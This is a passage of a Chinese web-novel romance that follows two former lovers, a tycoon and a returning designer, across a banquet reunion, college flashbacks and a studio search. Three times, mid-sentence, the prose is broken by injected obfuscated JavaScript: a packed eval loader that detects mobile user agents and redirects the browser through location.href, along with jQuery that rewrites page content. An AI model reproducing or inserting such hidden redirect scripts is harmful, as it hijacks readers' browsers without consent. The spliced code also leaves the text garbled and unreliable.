冉步月这段日子也会很忙,要租自己住的房子、租工作室、办理工作室的手续、招聘、装修……不一定能随叫随到。但他很清楚,机会一旦错失就很难再来,所以他答应了李曜,说可以随时找他。 长桌另一端。 觥筹交错,笑颜相映。名片收了几十张,一张有价值的都没有。 推杯换盏间,舒枕山百无聊赖地将目光投向长桌尽头。 那里坐着他的前男友。 前男友先生和自己多年不见,一见面就对着自己吐了。 吐完了,吃了自己送过去的甜品,此刻倒是安稳地坐在位置上和别人聊天,气色好了不少,嘴唇也变得红润。 看见自己的脸就吐,和别人喝酒倒是神采飞扬。 十五分钟内,前男友吃掉了一道前菜、半份鸡肉主菜和一整道三文鱼,吃相斯文得看不出他在咀嚼,但消灭食物的速度很快。 像一条终于开食了的小蛇。 曾经,舒枕山是一位很优秀的蛇类饲养员,事实证明他宝刀未老。 至少没让前男友先生在自己面前饿死。 他舒枕山也是做了件善事,救人一命胜造七级浮屠。 冉步月正和他身边的男人谈笑风生,神情自然,姿态圆融,碰杯喝酒的动作也相当熟稔,和以前青涩孤僻的学生模样大相径庭。 这让舒枕山感到非常陌生。 不过这也没什么,他们现在本来就是陌生人。 陌生人先生和那个叫李曜的车企老总聊得好欢,不用听就知道他们聊的都是些无意义的废话。 郝乐用胳膊肘顶了顶舒枕山,小声道:“阿枕,走什么神呢,小维问你有没有兴趣派人去参加之后的创投会?” 舒枕山若无其事地收回目光:“没兴趣。” “你看什么呢?眼神那么凶,快要射刀子了……”郝乐顺着方向看过去,看到言笑晏晏的冉步月,顿时冷汗直冒,连滚带爬地冲向长桌后端。 草,差点忘记冉步月毁了舒枕山最爱的口袋巾了!冉啊,再不来赔罪,咱俩都得唰唰人头落地! 5. 饮鸩止渴 冉步月看到郝乐,便和李曜说了两句,然后端着酒杯迎了上去。 郝乐还没开口,冉步月抱歉一笑:“我正打算去找舒总的,劳烦郝总特地跑一趟。” “哎没事没事,我也是担心自己人头不保。你可能不知道,他特宝贝他那个……” 郝乐突然刹嘴,含糊道,“反正不巧被你泼湿了,所以我估计他有点生气。但你别慌,阿枕不是不讲理的人,跟他诚恳道个歉就好了。” 冉步月这下懂了,他弄坏的不是一套普通的昂贵礼服,而是套非常珍贵的昂贵礼服,对舒枕山来说有特殊的意义,可能是特殊的人送给他的。 挺好。 看来要道歉得更有诚意一点。 冉步月招来侍者,请他把自己的酒杯斟得更满,液面几乎与杯口持平。 郝乐大惊:“这这这倒也不必!” 然而冉步月已经几步走到了舒枕山面前,平静地道歉:“舒先生,实在对不住,弄脏了您的衣服。” 听到他的声音,舒枕山才慢腾腾地从别人的对话中抽身,微微低头看向冉步月。 “这杯酒我敬您,给您赔个不是。” 舒枕山看着他的酒杯,额角青筋狂跳。 香槟,12度,满得快要溢出来。 刚才喝的还是红酒,这会儿就换了香槟,而且不知道他在鸡尾酒会上已经喝了多少轮。 以前喝一杯shot就醉得乱七八糟的人,现在怎么敢这么疯? 冉步月倒没什么犹豫,仰头就要灌。 舒枕山自上而下地俯视他,冷硬地掷出几个字:“我叫你喝了么。” “……” 冉步月缓缓把酒杯放下,抬眸看他。 这是两人今晚的第二次对视,比起上一次的猝不及防和兵荒马乱,这次两人的目光都无比镇定。 两人不躲不闪地注视着彼此的眼睛,较劲似的。 舒枕山嗓音沉冷:“觉得喝杯酒就能翻篇?” 冉步月看着他,一点点扬起唇角,充满歉意地笑笑:“抱歉,第一次见面,冉某还不懂舒总的规矩。多有得罪,望舒先生见谅。” 礼数过分得体,无可挑剔。 连“第一次见面”都说得这么自然,这么刺耳。 舒枕山被“第一次”刺得飞快蹙了下眉,清楚地看到冉步月眸中闪过的一丝戏谑。 在这俩人旁边站着,郝乐莫名觉得呼吸不畅。他来不及深想,赶紧打圆场:“枕哥,那你给句明话呗,要人家怎么做才行?” 舒枕山收敛气息,温和而大度地反问:“冉先生觉得呢?” 冉步月想了想:“如果您不介意的话,我帮您把衣服清理干净之后送回去。如果您仍然不满意,我会照价赔偿。” “我介意。”舒枕山讲话不留余地,“衣服我自己处理,账单寄你公司。” 郝乐心中滑过一丝疑惑。 舒枕山这话说得太刻薄太尖锐,不像他会说出来的话。 准确来说,从舒枕山拒绝让冉步月喝酒赔罪那儿开始就有些奇怪。正常的话,喝杯酒、讲两句话,这事儿也就过去了,舒枕山很少给人摆脸,做人留一线,日后好相见,商人都懂这个道理。 况且舒枕山是个能打碎牙往肚子咽的狠角儿,小时候被扇过的巴掌能忍到十五年后再扇回去,曾经差点要了他命的子弹他能蛰伏到十年后再打过去。舒枕山一步步摸爬滚打到现在的地位,早已修炼成了精,什么时候情绪这么外露过? 唯一的解释,就是那块方巾对舒枕山来说,有着至高无上的重要地位,谁动都得死。 冉老师,你运气不好啊,刚回国就撞枪口上。郝乐感到无比惋惜,弄了这一出,冉步月肯定没机会跟舒枕山公司合作了。 面对舒枕山的要求,冉步月很淡定地点头:“可以的。” 舒枕山站着没动,眼睛也没从冉步月身上挪开。 冉步月头顶缓缓升起一个问号,心说大少爷您还有什么吩咐。 舒枕山很轻地笑了一下,好心提醒:“我连贵公司叫什么都还不知道,账单往哪寄?” 啊,确实。刚见面就吐了,还没来得及寒暄。 冉步月抽出一张名片,双手递过去:“我刚刚回国,工作室还没有选好位置,所以名片上暂时没有地址。如果账单准备好了,我就……去砚川集团取。” 目光飞快掠过拿着名片的那两只细白的手指,舒枕山纡尊降贵地捏住名片一角,看都没看一眼,抽过来直接扔进了名片夹里。 比收陌生人的名片还敷衍。 直到晚宴结束,两人没再讲过一句话。 - 回到家时已是凌晨,院门刚刚打开,一团黑白灰混杂的巨大冲击炮撞入舒枕山怀中,发出几十公斤的嗷呜声。 “芝麻。”舒枕山笑着弯腰,轻松地把四十多公斤重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103012|163801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的阿拉斯加抱起来,“你已经是六岁多的巨型宝宝了,还要抱。” 说完这句,舒枕山笑容突然变淡。 六年过去了。 狗子没感觉出来主人的低气压,还趴在他背上兴奋地嗷嗷。 客厅的暖光灯自动亮起来,舒枕山放下芝麻,在客厅地毯上席地而坐。今天的酒似乎后劲很大,让他感到思维迟钝,胸口发闷。 狗爪子踩在毛毯上,发出落雪般柔软的声音,簌簌地走来走去。 “芝麻。”舒枕山出声,阿拉斯加便听话地靠了过来,尾巴摇得像螺旋桨。 舒枕山用力抚摸厚实的狗毛,一遍又一遍,几乎有些神经质。 他隐忍地舒了口气,沉默半晌,还是开口道:“芝麻,我今天……碰到你爸了。” 芝麻仰头:“汪呜——” “另一个爸。” “嗷嗷——” “只知道嗷,你还记得我说的是谁吗?记得的话就说记得。” 狗子歪头:“嗷?” “你看,你也不记得他了……” 舒枕山从兜里摸出一张小卡片,不知被谁攥得皱巴巴的。 在回程的车上他已经看了将近二十遍。 名片的质感非常好,LOGO以月相图为元素,简约现代,设计很高级。底下是工作室的名称,ROAM,意思是漫游、漫步。 另一面印着“冉步月”,旁边是他的邮箱和电话,毫无疑问,均属工作用途。 狗鼻子好奇地凑过来,使劲儿往舒枕山西装里拱,左拱拱右拱拱,一条被染红的方巾掉了出来。 芝麻兴奋地跳踢踏舞:“汪汪!” “不能动!” 舒枕山眼疾手快地握住他的嘴筒子,敏捷地往旁边推开,从它敦实的利爪下把口袋巾抢了出来。 已经被踩皱了,沾了几根狗毛,大片不规则的酒渍散发出浓郁的、醉人的酒香。 舒枕山双手捧着方巾,修长指节屈起,指尖用力地、缓慢地捻动布料,留下凌乱的褶皱。 方巾质地粗糙,远比不上那人皮肤的细腻与温热,但舒枕山不想放手,好像这样就能摸到他的身体,尽管这只是饮鸩止渴。 目光深沉地盯它许久,舒枕山仿佛被蛊惑,喉结上下滚动。 接着,他没什么表情地将脸埋进了方巾。 深深、深深地吸气。 目眩神迷。 6.自我丧失 冉步月把方巾从舒枕山手中抽出来,稍微靠过去一点,淡淡地问他:“所以要怎么折?” 舒枕山不动声色把目光从冉步月身上挪开,抖开自己的丝绸方巾,说:“我教你。” 这是他第一次见冉步月穿西装,多看两眼也是人之常情。 今天是团队里博士生学姐的婚礼,平时整天穿学校连帽衫的nerd们翻箱倒柜找出了自己最正式的礼服,摇身一变,各个都拾掇得光芒四射。 天之骄子们从小就没少参加这样的场合,打扮起来得心应手。但对冉步月来说,这是头一次。 冉步月独自远赴重洋念书,彼时不过十八岁,性格孤僻,不爱讲话,像朵长在角落的莲花苞,生生嫩嫩的,一掐就能出水。 如果到了迫不得已要开口求人的时候,他大多数时候都会问舒枕山。 就比如现在,他问舒枕山口袋巾要怎么叠,瘦巧的下巴微微仰着,语气平静。 撒什么娇啊。舒枕山看着他,面无表情地想。 舒枕山将冉步月对他的亲近归结于雏鸟效应,当初在半夜的实验室里抓到冉步月的人是自己,而自己恰好也是中国人,恰好成为整个学校里第一个对冉步月施以关怀的同乡,冉步月因此和他走得更近。 同胞之间惺惺相惜是正常的,撒娇就不太对味了。 冉步月买的方巾是最基础款,白色亚麻,不贵,但足够经典。 舒枕山教他叠好,帮他放进胸前口袋。冉步月低头扒拉了一下,评价说:“像两只奔跑的兔子耳朵”。 就是在这一刻,舒枕山觉得冉步月逾矩得过分。 这薄薄的、似乎总是懒得张开的淡色嘴唇,怎么能够说出这样招惹人的话。 叫人恨不得一口把他吞了。 舒枕山觉得自己像个风筝,原本自由自在地飞翔天空,不知怎么来了个坏小孩,拽住了他的线,往下扯线,他就降低一点,往远了放,他就升高一点,就这么起起伏伏,坏小孩也不放手。 真挺坏的。 婚礼在草坪上举行,阳光温暖,彩色的气球随着清风碰在一起,在舒枕山心里咕嘟咕嘟煮泡泡。 新娘新郎携手走过铁艺拱门,宾客们鼓掌欢呼,彩色纸屑漫天落下。冉步月安静地举起手机拍照,唇角扬着笑。舒枕山偏头看他,看彩带正好落在他略长的发梢。 几个月前,冉步月开始留长发。 当时他们在看学生乐队表演,台上的男吉他手留了一头金色长发,很野很酷。 类似的表演舒枕山看过太多,所以兴趣不大,但他注意到冉步月看得很入迷,目不转睛。 他敏锐地发现,冉步月好像总是在自己面前流露出一些细微的喜好。大家都以为Ran只对机器人和机械设计感兴趣,但其实不是的,冉步月总会用不明显的方式泄密给自己。 “喜欢吉他?”舒枕山几乎是贴在他耳边问的,因为音乐很吵。 冉步月摇摇头,过了会儿才淡声说:“我中学时也留过长头发。” “噢。”舒枕山端详着冉步月干净清爽的短发,很自然地说,“那就再留长啊。你留长发会很好看。” 这是舒枕山通过客观评估得出的结论,不掺杂任何主观因素,所以很值得采纳。 冉步月不太相信地问:“真的?” 舒枕山有点想说“假的”,因为从客观上来说,冉步月不管留什么发型都很好看。 没想到冉步月真的采纳了他的建议,从那天起开始留长发。 高兴之余,舒枕山也有些别扭,他觉得冉步月不应该这样讨好他。 到婚礼这天,冉步月的头发留得不长不短,正处在所谓的“尴尬期”,舒枕山却觉得一点都不难看,半长的头发软软地搭在耳朵尖,看起来像乖乖的中学生。 乖学生穿着正装,漂亮的脸上挂着事不关己的表情,劲儿劲儿的。来往宾客都会多看他两眼。 机器人社团的大家聚在一起闲聊,聊到穿搭,组里的意大利美男子眨眨眼睛,风情万种地问:“你们知道胸袋方巾的暗语吗?” 大家表示好奇,他满意地抽出自己胸前的口袋巾,优雅地进行示范。 美男子说,和女士们的扇语一样,男士方巾也有自己隐秘传情的语言。 将方巾折叠在手中意思是“我想和你讲话”;将它掠过眼睛的意思是“请宽恕我”;掠过额头是指“我们正在被监视”;放在肩上是“跟我来”;将方巾绕在食指上是“我和别人订婚了”;绕在无名指上是指“我已婚”…… 接着,他随手拉过身边的金发女孩,轻轻将方巾擦过女孩的脸,暧昧地讲解道:“用方巾轻蹭对方的脸颊,意思是……「我爱你」。” 女孩顿时笑起来,在起哄的声音中和他接了个吻。 舒枕山转头去寻冉步月,没想到冉步月也正看着自己,目光很干净。舒枕山心里一跳,淡定地把视线挪开了。 又来了,又来了,坏小孩攥紧了他的绳子,将他往下拉,拉入荡漾的海平面。 婚礼晚宴结束,泳池派对开始,新娘开了一瓶香槟,酒液划过完美的喷溅弧度,喷到草坪上,气氛被推向最高峰。 这会儿人们已经醉得七七八八,国外玩得开,刚才的意大利美男子正搂着另一个女孩亲嘴,这次也没人起哄了,大家都在忙着找自己的乐子。 来找舒枕山搭话的人很多,有男有女,好不容易打发了他们,转头发现冉步月被一群漂亮女孩围着,手里握着辣妹塞给他的一杯高度烈酒。 冉步月那么内敛的人,肯定需要解围,舒枕山便朝他走过去。 谁料刚到半路,就见冉步月和她们碰了杯,仰头一饮而尽。 舒枕山一对上冉步月的眼睛,就知道他有些醉了。黑眼珠亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110200|163801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晶晶的,闪烁着平时没有的波光。 他把人捞出来,问冉步月想不想回家,冉步月慢慢地摇头,两人就站在游泳池边吹风。 有群人玩得很疯,在池水边嬉笑打闹,突然一个金发帅哥被推到了游泳池里,溅起巨大的水花。 舒枕山和冉步月来不及躲,被殃及了半身,衬衫都打湿了。 冉步月抬手就把扣子扯开了三颗,露出一大片雪白的皮肉,应该是想把湿漉漉的衣服脱了。 舒枕山头皮发炸,赶紧摁住了他的手,没想到一杯shot就让他醉得这么彻底。 他眼睛眨也不眨地看着舒枕山,细声说“热”,又说“衣服好黏”,“不舒服”,语气很软,身上又烫又香。 风筝骨架好像要被融化了那样痒。 “……进屋再脱。”舒枕山咬牙切齿,半拖半拉地把人扶进别墅,玩通宵的客人可以在这里过夜。 随便踹开一间空卧室,舒枕山把人端到床上,整个房间的空气里都充斥着令人头晕的香气。 冉步月开始若无旁人地脱衣服,西装外套被丢到一边,半/透/明的衬衣紧紧贴着身体,像一条正在蜕皮的白蛇。 视力极好的舒枕山甚至被迫瞥到,他有一侧……是内陷的。 像一座顶部平平的小富士山。 舒枕山忍无可忍,粗声粗气丢下一句“早点休息”就想往外走,却被冉步月叫住了。 “Shu.”冉步月很轻地出声,舒枕山就走不动了。 冉步月抬手,捏住舒枕山的领子往下拽,几乎没用力气,但舒枕山拼尽全力无法挣脱,别无选择地、顺从地俯身。 “你脸上有点……” 舒枕山觉得脸侧贴上了一片柔软的布料,帮他拭去他脸上的水。不知是在游泳池被溅上的,还是他自己的汗水。 舒枕山隔了几秒才看清,这是冉步月的胸袋方巾。 操/了。 舒枕山清晰地听到风筝溺亡的声音。明明死物是不会再死的。 “你知不知道你在做什么?” 舒枕山声音嘶哑,简直是低声吼出来的。 他恨透了冉步月这幅事不关己的懒散模样,目光纯真,却衣衫半褪,手上做着杀人放火的命案。 实在是太找死。 舒枕山用力从冉步月手中抽走方巾,掰起他的脸,狠狠咬住了他的唇。 这是他的初吻、初/夜、初恋...... 是恋吗?那时的舒枕山不确定。 他只觉得自己不是自己了,他好像失去了自己,又好像得到了自己。 那时,舒枕山只渴求时间永远停留在这一刻,渴望怀里的人永远不离开。 直到许多年后,舒枕山才迟钝地意识到,不是冉步月太动人,而是自己动了心。 而那种如生如死的自我丧失感,好像叫“爱”。 7.雏鸟情结 冉步月从生日宴会回来后,马不停蹄地投入了连轴转的工作。 他把之前收到的名片整理了一遍,挑出价值更高的潜在客户,计划和他们约个咖啡聊聊。 其中他最看好的项目是李曜的,他虽然抛出了橄榄枝,但自己不一定接得住,国内优秀的汽车设计师一抓一大把。 另一件重要的事是工作室选址,田小喆踩点了几个地方,初步筛了三个给冉步月过目。 “老大,您看看。”田小喆工作起来是很认真的,点开资料,详细地介绍起来,“第一个是吉祥大厦,优点是便宜;第二个在龙腾商业中心,周围配套齐全,交通便利;第三个是砚川地产的……” “等下。”冉步月把页面往回翻到“龙腾商业中心”,不到一秒就说,“这个pass。” 田小喆“呃”了一声:“能问下为什么吗?其实从各方面条件来看,龙腾都是个不错的选择。” 至少不至于被秒毙。 “没什么原因。” 田小喆看着冉步月淡淡的神情,知道冉步月不想说的东西他是问不出来的,便没有再追问,直接在龙腾地产这一页画了个大叉。 “第三个选项呢,继续吧。” “是砚川地产开发的科技园区,地方很大,周边有不少科技企业,离客源比较近。” 冉步月垂眸看着“砚川”俩字,要田小喆继续往后说。 等田小喆列完所有的选项,冉步月把资料来来回回翻了很多遍,经过他客观严谨的对比,最终作出决定:“综合来看,砚川的科技园区最好。我之后亲自去看看。” “不去看看别的吗?” 凭田小喆对冉步月的了解,他至少会亲自考察两个地方来比较,这次却只选了一个。 “先这样吧。” 冉步月清楚砚川地产是舒枕山的,但他不认为“集团总裁是前男友”应该对他的选择造成任何影响。 舒总家大业大,根本不可能注意到一个小租户,更何况那点旧情早就过去了,他们现在比陌生人更陌生,房子该怎么租就怎么租。 冉步月行动力超绝,很快和科技园联系人敲定了一个看房时间,就约在本周末。 在定好工作室之前,他们只能在临时租用的办公室里办公,冉步月每天都会在这儿工作到凌晨。 田小喆又开启了唉声叹气的劝休,不出意外全被冉步月当了耳旁风。此人进入战斗模式后几乎无人可挡。 这天,冉步月回到酒店躺上床,时针刚走过数字3。 冉步月盯着一尘不染的天花板,连续第四天陷入失眠。 因为一闭上眼,他就会看到舒枕山。 晚宴上的桩桩件件迟钝地浮现出来,舒枕山说“不认识他”,瞥过来时冷淡的眉眼,敷衍地收起自己名片的动作……还有他和奶油小生喝酒时,脸上露出的温柔笑意。 操了,真晦气。 不是对前男友念念不忘,只是每次压力大到无处释放的时候,睡前想一想他,能让冉步月最有感觉、最快进入状态,释放压力,身心舒坦后沉入一夜婴儿般的高质量好眠。 安眠药型前任,环保好用。 实用而已,并没有很爱他。 可惜这次,新的糟糕记忆覆盖了六年前的陈旧库存,安眠药变成了清醒剂。 为了压下晚宴版舒枕山的鬼影,冉步月被迫在脑中检索他年轻的模样,以毒攻毒。 冉步月第一次见到舒枕山,是被他抓包在实验室。 全校只有三台可以免费使用的3D打印机,其中最容易接近的一台被放在机器人实验室里。 当时冉步月刚刚大一,十八岁,只身从国内来到完全陌生的环境里,英语讲得不够好,性格也孤僻,不愿开口求助,更不想找教授提交麻烦的申请。但他真的很想尝鲜。 经过近半个月的观察,冉步月发现这群搞机器人的作息时间非常不规律,实验室常常亮到很晚,最安全的潜入时机是凌晨四点左右。 在一个月黑风高的夜晚,冉步月偷偷溜进实验室,成功打印了一个小零件,从此深深为这台四方的机器着迷,像只偷到油的小耗子,夜夜猫进猫出。 那天打印完最后一个零件,确认四周安全,没有埋伏,冉步月悄咪咪地摸黑离开,刚钻出实验室门,猝不及防迎头撞进一个人怀里。 这人很高,幽暗灯光勾勒出一个黑黢黢的瘦高轮廓。 冉步月以为自己撞鬼了,肾上腺素飙升。 灯“啪”地亮起,冉步月看到一张很有冲击力的东方帅脸,微微挑眉看着他,嘴角噙着淡淡的笑意:“Gotcha.” 肾上腺素又往上飙了飙。 ……冉步月后知后觉地意识到,刚刚撞到的东西是温热的,弹韧有力,应该是此人的胸肌。 这是个活人。 而且昧着良心说——佢真係好型。 型男问:“你在做什么。” 一口母语者级别的英语。 冉步月把小零件紧紧揣怀里,冷静地说:“我路过。” “那你准备去哪?” 他姿态松弛地倚在实验室门口,翘起的头发几乎顶到门框,春寒料峭里只穿着件基础款黑T恤,布料被肌肉线条绷着,皮肤是健康的浅麦色。 看起来像是特地从被窝里跑出来守株待兔的。 冉步月像只炸毛的小刺猬:“不关你的事。” “唔,当然。”他耸耸肩。 嘴上这样说,脚下却没有一点挪窝的意思,仍然靠在门边岿然不动。 冉步月顶不住他的目光,把自己缩成一片没有存在感的薄饼干,嗖地从他身侧滑走。 “……” 身后响起一声低笑,那人有点无奈地问,“你以后换个时间来路过呢?” 这次他讲的是中文。 咬字有点温柔,比他说英文更好听。 突然听到国语,冉步月有些惊讶地回身看他。 “我的意思是,如果你想用3D打印机,可以在白天过来,我们会借你用的。”他说。 “……哦。”冉步月眨眨眼,“真的吗?” “说话算话。”他话锋一转,朝冉步月伸出手,“前提是给我看看你打的是什么。” 冉步月犹豫了一会儿,不情不愿地从怀里把模型拿出来,放到对方手心。 本来觉得挺大只的东西,放在这人手里却显得很小。 “手部外骨骼?”他问。 冉步月愣了愣:“嗯,是的。” 这只是模型的一部分,所以没想到他这么快就能认出来。 “用了柔性铰链啊,有意思。”他试着推了推模型的关节。 冉步月来了精神:“嗯,直梁型和圆弧梁型我都试了,但好像效果都有限……” 对方露出一言难尽的表情:“难怪最近我们的材料用得那么快。” “……”冉步月缩了缩脖子。 “效果不好大概是因为你选错了材料。”他径直走到3D打印机旁边,摸到尚带余温的打印床,不明显地笑了笑。 偷用打印机的铁证就这么被发现了,冉步月觉得脑袋在冒烟。 但好在他没说什么,只道:“你用的是PLA,延展性不够,柔性铰链要用TPU试试。” 冉步月:“哦。好,那我什么时候可以……” 话没说完,就见对方拿出了一卷新的TPU材料。 他问:“你现在急着回去睡觉吗?” 冉步月眼睛噌地一下亮起来:“现在就可以试试吗?我不睡!” 等冉步月回过神来,太阳已经爬上了枝头,阳光洒进实验室,走廊外变得热闹起来。 桌上摊着好几个模型,纸上全是图稿和公式,电线与控制器乱七八糟地缠绕,冉步月却觉得自己的想法从未如此开阔,思路从未如此敏捷。 从未遇到电波如此合拍的人,很快就能理解对方的思路,甚至不用说完话,他们就能知道对方想说什么。 只不过…… 冉步月有点尴尬地问:“对了,好像忘了问,你叫什么?” 对方也怔了几秒,大概是觉得他们这种不知姓名便彻夜畅聊的情况很滑稽。 正此时,一个卷发女孩推门而入,丢下书包,吹了声口哨:“Wow,居然有比我更早的人。Shu,是你吗?” “我叫舒枕山。”舒枕山的声音和她重合。 冉步月说:“好……我叫冉步月。” 女孩远远看到舒枕山,叫了句“我就知道是你”,大步走来,好奇地问:“Shu,你昨晚逮到小耗子了吗?” 冉步月突然脸红,又想把自己缩起来:“抱歉,我不应该未经允许使用你们实验室的东西……” “逮到了。当当!”舒枕山抓住冉步月的转椅靠背,献宝似的把他推了出去,“现在他是我们团队的一员了。” 女孩这才发现还有一个人,张圆了嘴:“哇——噢!” 就这样,冉步月阴差阳错地加入了机器人社团,并且成为了一段传奇。 因为他是社团史上唯一一个免面试加入的成员,免试理由是和主席大人共度了一夜春宵。 当然,“春宵”指的是拉着President Sh ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119177|163801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' u激情讨论了一晚上外骨骼的机械运动学与自由度优化。 现在回想起来,他对舒枕山的感情确实有点雏鸟情结的意思。他是自己第一个真正意义上的朋友,帮助自己、引领自己,成为那段时光不可或缺的组成部分。 至于后来是怎么友情变质的,冉步月承认……是自己先动的手。 好吧,他小声为自己辩驳一句,环境因素也有三分。 时间再往前推,到美国的第一个月,冉步月就被文化冲击的大浪打翻在了沙滩上—— 他的室友是位美籍印裔小哥,戴眼镜,学化学的,专业书堆了满床。 因为两人对学术的痴迷程度不分上下,冉步月和他相处融洽。 直到有天傍晚冉步月照常回来,推开寝室门猝不及防看到两副交缠的男女肉i体,吓得半天没说出来话。 舍友赶紧和他说抱歉,事出突然,忘记提前和你说一声。 冉步月侧开眼说“没事”,整个人已经退到了门外。 舍友愉快地扬声问:“Ran,那你要不要一起来?” 冉步月吓得砰一声把门摔上了。 后来舍友规矩了很多,每次带人回来之前都会和冉步月发消息,告知他什么时候开始,什么时候结束,甚至很自然地分享细节,比如昨天那个是拉拉队长做得很爽但和她聊不来,今天这个只看了电影没做成但很有共同语言。 显然,舍友同学每次带回来的女孩都不一样。 冉步月逐渐从惊吓变成接受,心想这可能就是文化差异。 某次和室友聊天的时候,冉步月终于问出了心中的疑惑,你怎么换女友换得这么勤? 舍友睁大眼睛,说噢,她们不是我的girlfriend,我们只是friend with benefit,其中只有一个在和我约会,逛逛街聊聊天上上床什么的,但我们对彼此不做承诺,她也有别的fwb和约会对象。 一堆冉步月没听过的词,但也挺好理解,说得糙一点,就是炮i友嘛。 这在美国很普遍吗?冉步月问。 舍友疑惑地反问,难道不应该这样嘛……?你们那里是怎样的? 我们那里是怎样的? 冉步月想回忆,但大脑强烈地抗拒回忆。 在他前十八年的人生里,从未与谁建立过亲密关系,他甚至不明白怎样与人正常相处。 在高中国际部光可鉴人的豪华卫生间里,一群人狠狠拽着他的长发,剃掉了他所有的头发,血顺着光秃的头皮往下流。他们骂他“娘”,“贱”,“乸型”,“灾星”,“死基佬”,要他滚回贫民窟。老师们对此心知肚明,但是谁也不敢出手管。 从那以后,冉步月再也没有留过长发。 来到这所大学,身边的人似乎都很自由,你可以享受单身生活,也可以和刚认识两分钟的人接吻,不论性别。 人与人之间,是不是不一定只有暴力与压制,还可以共享欢愉? 冉步月不确定。 他像一台机器,观察身边人的生活,再进行拙劣的模仿。 他的实验对象,是一个在半夜逮到他犯错的学长,叫舒枕山。 后来,看着台上长发男生潇洒的表演,冉步月不小心说出了自己曾留过长发的过往,这很奇怪,他没有告诉过任何人。 或许是因为这次站在身边的人是舒枕山。 令冉步月震惊的是,舒枕山竟然说“你留长发会很好看”。 那一刻,冉步月突然想跟舒枕山上床。 ——这样想对不对?这是不是正常人的想法? 不管对不对,冉步月勇敢地冲了。 其实在草坪派对上,他已有八分醉意,所作所为完全不受控制。方巾代表什么他早已忘记,只是觉得舒枕山满头是水,性感得溺毙。 再次令人震惊的,舒枕山慷慨地满足了他内心深处所有的渴求。吻了他,睡了他。 做到后面,冉步月哭了。 舒枕山俯身吻掉他的眼泪,跟他说“我轻点”。 但其实不是因为疼,而是因为从未有人那样温柔地抚摸他的长发和身体,给他一种值得被爱的错觉。 尽管只是friend with benefit,但冉步月已经很满足。 ——虽然后来,冉步月再再次震惊地发现,居然是舒枕山比他更早认了真。 可是这也改变不了什么,他们是注定没法一起走下去的。 如果能早点知道他们完全是两个世界的人,冉步月当初绝不会去招惹他。 比起惨烈落幕,他宁愿从未开始。 8.天神下凡 约好看房的前三天,冉步月接到了李曜秘书打来的电话,邀请他周末到公司参观,并且对没有安排在工作日表示了歉意,曜总实在抽不开身。 一看行程,正好和去科技园看房的日期冲突了,冉步月几乎没有犹豫地答应了李曜。 房可以随时看,和大老板见面的机会却不常有。 冉步月打电话给砚川商管的负责人,说自己有事来不了,问方不方便换个时间。 年轻的负责人很快说“方便方便”,又问冉步月想改到哪天,改成什么时候都行。 冉步月翻看日程表,说了个下周的时间,那边一口答应了,说冉先生到时候见。 挂了电话,冉步月总感觉小伙子的语气比之前更殷勤,但具体哪里不一样也说不太上来。 电话那端,年轻人面带愁容地撂了电话,问领导:“怎么办?如果VIC跑了,我们整条team是不是都要被炒鱿鱼?” 领导也愁啊,前几天,他接了个内线电话会,居然是砚川商管板块的顶头老大亲自打下来的,劈头就问,最近有没有一个姓冉、电话号码为xxx的客户咨询租用办公区的事。 一查确实有。 老大温柔地下达命令,说他呢,是一个非常非常重要的客户,至于为什么这么重要呢,你们不用管。咱们要做的,就是尽量把他拿下,拿下了有重赏。回头给你们发一份资料,带他去看这几个选址,重要的宣传点都写在文件里头。 他还详细问了冉先生约的什么时候看房,嘱咐说如果时间有任何变动,直接跟他说,不用通过秘书。 整个团队战战兢兢地领了旨,不知道这位冉先生是何方神圣,能让商管部头头亲自下凡。 听他的意思,这任务是从更高一级传达下来的。他头上还有谁?只有他们集团的大大大老板了。 冉先生和舒总有什么关系吗?大家也不敢揣测,反正把他拿下就能有大笔奖金,现在冉先生就是他们的财神。 大家躲进茶水间里聊八卦,开玩笑地猜,他们可能是被卷进某本霸总小说里的可怜牛马工具人。 这不,财神爷打电话说要改时间,众人岂敢怠慢,挂了电话立刻给部门大佬汇报,说冉先生周末有事,另约了下下周。 十五分钟后,舒枕山得知了冉步月的计划变动,不太在意地说了声“好”。 - 周六,冉步月来到曜石汽车总部,早已等候在楼下的秘书带他刷开高权限电梯,直接来到了李曜的总裁办公室。 李曜比上次的穿着更休闲,敞着西装外套,随和地招呼冉步月来坐,要他别拘束,就当好朋友闲聊。 上次晚宴聊的内容有限,这次在自家地盘,李曜显然放开了,从公司历史到未来展望,思路清晰,技术过硬,很有自己的想法,还带点小幽默,两人聊得挺愉快。 总之,冉步月觉得这人还不错,项目也算有趣。 最令人犹豫的地方是,李曜想邀请冉步月直接入职他们公司做设计总监,这和冉步月自己开工作室的计划背道而驰。 